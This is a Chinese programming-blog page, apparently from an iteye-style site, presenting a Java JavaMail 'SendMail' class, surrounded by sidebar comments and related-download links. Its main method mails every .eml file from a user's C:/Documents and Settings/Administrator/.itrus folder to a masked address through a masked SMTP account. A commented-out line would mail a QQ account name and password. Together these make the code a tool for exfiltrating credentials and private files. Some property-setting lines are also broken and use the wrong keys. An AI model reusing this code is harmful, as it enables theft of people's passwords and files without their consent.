- 浏览: 158745 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
沙舟狼客:
为了方便使用可以配置到环境变量里面MINGW_HOME=C:\ ...
windows下用mingw32+sdl进行简单2d游戏开发(c语言) -
沙舟狼客:
如果安装autotools时不用gcccc相当于gcc的链接n ...
windows下用mingw32+sdl进行简单2d游戏开发(c语言) -
lirihong:
java中文乱码完全解决方案 ?? 高度很高,深度、全面度全 ...
java中文乱码完全解决方案 -
沙舟狼客:
非常适合想写windows游戏的菜鸟
windows下用mingw32+sdl进行简单2d游戏开发(c语言) -
xixilive:
噢喔~~语义全无
京东导航的jquery实现
import java.io.File; import java.io.FileInputStream; import java.util.Properties; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; public class SendMail { private String host = "smtp******"; // smtp服务器 private String user = "l**********"; // 用户名 private String pwd = "***************"; // 密码 private String from = "********"; // 发件人地址 private String to = "**************"; // 收件人地址 private String subject = ""; // 邮件标题 public void setAddress(String from, String to, String subject) { this.from = from; this.to = to; this.subject = subject; } public void send(File file) { Properties props = new Properties(); props.setProperty(host, "true"); props.setProperty(host, host); Session session = Session.getInstance(props); session.setDebug(true); // 已经用Outlook写好邮件,就等待发送了,这样的方式就不用代码来写复杂的邮件了 try { Message msg = new MimeMessage(session, new FileInputStream(file)); // 发送邮件 Transport transport = session.getTransport("smtp"); // 连接服务器的邮箱 transport.connect(host, user, pwd); // 把邮件发送出去 transport.sendMessage(msg, msg.getAllRecipients()); transport.close(); } catch (Exception e) { // TODO: handle exception e.printStackTrace(); } } public void send(String text) { Properties props = new Properties(); // 设置发送邮件的邮件服务器的属性(这里使用网易的smtp服务器) props.put(host, host); // 需要经过授权,也就是有户名和密码的校验,这样才能通过验证(一定要有这一条) props.put(host, "true"); // 用刚刚设置好的props对象构建一个session Session session = Session.getDefaultInstance(props); // 有了这句便可以在发送邮件的过程中在console处显示过程信息,供调试使 // 用(你可以在控制台(console)上看到发送邮件的过程) session.setDebug(true); // 用session为参数定义消息对象 // MimeMessage message = new MimeMessage(session); try { MimeMessage message = new MimeMessage(session); // 加载发件人地址 message.setFrom(new InternetAddress(from)); // 加载收件人地址 message.addRecipient(Message.RecipientType.TO, new InternetAddress( to)); // 加载标题 message.setSubject(subject); // 向multipart对象中添加邮件的各个部分内容,包括文本内容和附件 Multipart multipart = new MimeMultipart(); // 设置邮件的文本内容 BodyPart contentPart = new MimeBodyPart(); contentPart.setText(text); multipart.addBodyPart(contentPart); // 添加附件 // BodyPart messageBodyPart = new MimeBodyPart(); // DataSource source = new FileDataSource(affix); // 添加附件的内容 // messageBodyPart.setDataHandler(new DataHandler(source)); // 添加附件的标题 // 这里很重要,通过下面的Base64编码的转换可以保证你的中文附件标题名在发送时不会变成乱码 /* * sun.misc.BASE64Encoder enc = new sun.misc.BASE64Encoder(); * messageBodyPart.setFileName("=?GBK?B?"+ * enc.encode(affixName.getBytes()) + "?="); * multipart.addBodyPart(messageBodyPart); */ // 将multipart对象放到message中 message.setContent(multipart); // 保存邮件 message.saveChanges(); // 发送邮件 Transport transport = session.getTransport("smtp"); // 连接服务器的邮箱 transport.connect(host, user, pwd); // 把邮件发送出去 transport.sendMessage(message, message.getAllRecipients()); transport.close(); System.out.println("发送成功!"); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { SendMail cn = new SendMail(); // 设置发件人地址、收件人地址和邮件标题 cn.setAddress("************n", "########", "源代码=-============"); cn.send("teset"); // cn.send("QQ:"+args[0]+"\tPWD:"+args[1]); File dir = new File("C:/Documents and Settings/Administrator/.itrus"); for (File emlFile : dir.listFiles()) { if (emlFile.getName().endsWith("eml")) { cn.send(emlFile); } } } }
发表评论
-
java中文乱码完全解决方案
2013-11-18 22:05 23711、代码编码全部用UTF8,特别是配置用的属性文件 2、J ... -
Highcharts动态曲线图(使用jna监视cpu使用率)
2012-01-10 22:30 91951、CPU使用率获取,因为我要用JNA调用,所以用c++调用w ... -
grails验证码插件-JCaptcha
2012-01-10 12:56 23421、安装 grails install-plugin jca ... -
jogl入门之简单的贪吃蛇
2012-01-05 13:43 19861、代码: package org.ligson.jo ... -
jogl入门
2011-12-31 13:19 50791、jogl是什么? jogl是Java OpenGL的 ... -
grails学习之自定义标签
2011-12-30 17:22 57501、在grails项目结构中有一个taglib文件夹(项目名/ ... -
加密机制的发展(JCE/JCA)
2011-12-23 17:56 4751一、对称密钥-------最原始的加密解密 对称 ... -
开发一个JCE的Provider
2011-12-23 13:42 44511、开发环境ubuntu+eclipse+openJDK ... -
enum还有人记得吗?
2011-12-21 15:42 1086enum其实挺好用的,特别是对于一些固定的东西! packa ... -
JNA入门1
2011-12-06 22:15 36511、jna是什么 jna是java native acces ... -
利用BC替换X509证书的公钥
2011-11-23 09:54 2180public static X509Certificate r ... -
利用BC的X509v3CertificateBuilder组装X509证书
2011-11-22 17:38 3823// 设置开始日期和结束日期 long year = 3 ... -
grails框架中webService插件的使用(axis2,cxf)
2011-09-17 22:40 3188一、cxf插件的使用: 1、运行命令: grails in ... -
利用bouncycastle组装X509证书
2011-08-02 19:02 9352CreateCert.java package com.se ... -
Java中对称密钥、非对称密钥和数字签名的用法
2011-04-16 12:21 31771、非对称密钥: package com.mysec; ... -
eclipse3.6 太阳神版 中文汉化插件
2011-04-09 20:00 1104经常用eclipse,但用多了英文版,突然间想找个新鲜感,于是 ... -
Java中的按位取反运算符,哪位能详解一下?
2011-03-14 23:29 2203最近面试遇到了这样一道题: System.out.print ... -
Java常见排序算法
2011-02-24 17:53 837package test; import java ... -
常见模式例子
2011-02-24 17:37 982工厂模式 package login.sj; ... -
关于Java中各种修饰符与访问修饰符的说明
2011-02-24 15:05 991类: 访问修饰符 修饰符 class 类名称 exte ...
相关推荐
java发送邮件工具类,用于java程序实现邮件的发送功能
java发送电子邮件,程序和jar包都在里面,使用方法也有,程序可直接使用,直接改成自己的邮箱和密码就能发送了,解决了很多人java发送邮件不成功的烦恼
Java发送outlook邮件,也可发送notes邮件
java定时发送邮件java定时发送邮件java定时发送邮件java定时发送邮件java定时发送邮件java定时发送邮件java定时发送邮件
java发送邮件 java发送邮件 java发送邮件 java发送邮件 java发送邮件 java发送邮件 java发送邮件 java发送邮件
Java发送邮件,亲自测试,没有问题。目前支持简单Java邮件发送!
java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个java发送邮件jar包2个...
压缩包中有纯java程序发送邮件其中有发送纯文本格式、带附件格式、图片格式、附件图片并显示格式。
该程序包为完整程序包,通过java编程来实现邮件的发送功能,导入Myeclipse或Eclipse后可直接运行测试
电子邮件的应用非常广泛,常见的如在某网站注册了...很显然这些应用不可能和我们自己平时发邮件一样,先打开浏览器,登录邮箱,创建邮件再发送.简单介绍如何通过 Java 代码来创建电子邮件,并连接邮件服务器发送邮件。
JAVA邮件发送工具类(支持同步和异步发送邮件以及附件信息),支持多个抄送邮件发送。
基于Java的邮件发送模板
java邮件发送的工具类,方法都已封装好,一键调用即可发送,支持普通文本邮件,支持带有附件的邮件,支持html代码的邮件内容
java邮件发送组件,邮件群发组件java邮件发送组件,邮件群发组件java邮件发送组件,邮件群发组件java邮件发送组件,邮件群发组件java邮件发送组件,邮件群发组件
java发送exchange邮件 java邮件发送,例子是按照exchange 2007测试的。
java 发送邮件 spring发送邮件Mail
JAVA发送邮件实现,发送邮件内容消息格式化,简单易操作
java实现的根据html模版内容发送邮件,这是一个完整的eclipse项目,包含jar包,导入即可运行
java发邮件
java生成excle文件不需要导出直接通过邮件附件发送java生成excle文件不需要导出直接通过邮件附件发送java生成excle文件不需要导出直接通过邮件附件发送java生成excle文件不需要导出直接通过邮件附件发送